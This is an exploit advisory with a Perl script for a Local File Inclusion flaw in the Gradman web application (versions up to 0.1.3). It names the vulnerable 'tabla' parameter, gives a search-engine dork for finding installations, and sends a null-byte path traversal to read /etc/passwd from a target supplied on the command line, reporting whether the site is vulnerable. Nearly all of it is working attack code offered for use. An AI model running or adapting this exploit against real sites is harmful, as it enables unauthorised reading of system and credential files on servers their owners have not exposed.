[+] Info:

[~] Software: Gradman <= 0.1.3

[~] HomePage: http://gradman.xe1ido.com.mx/

[~] Exploit: Local File Inclusion [High]

[~] Where: agregar_info.php?tabla=

[~] Bug Found By: Jose Luis Gngora Fernndez | JosS

[~] Contact: sys-project[at]hotmail.com

[~] Web: http://www.spanish-hackers.com

[~] Dork: "powered by Gradman"

[~] Dork2: Priv8, xD!

[+] Exploit:

use LWP::UserAgent;

use HTTP::Request;

use LWP::Simple;

print "\t\t########################################################\n\n";

print "\t\t#    Gradman <= 0.1.3 - Local File Inclusion Exploit   #\n\n";

print "\t\t#                        by JosS                       #\n\n";

print "\t\t########################################################\n\n";

if (!$ARGV[0])

{

print "Usage: perl xpl.pl [HOST]\n";

print "Example: perl xpl.pl http://localhost/gradman/\n";

}

else

{

$web=$ARGV[0];

chomp $web;

$iny="agregar_info.php?tabla=../../../../../../../../../../../../../../.
./../etc/passwd%00";

my $web1=$web.$iny;

print "$web1\n\n";

my $ua = LWP::UserAgent->new;

my $req=HTTP::Request->new(GET=>$web1);

$doc = $ua->request($req)->as_string;

if ($doc=~ /^root/moxis ){

print "Web is vuln\n";

}

else

{

print "Web is not vuln\n";

}

}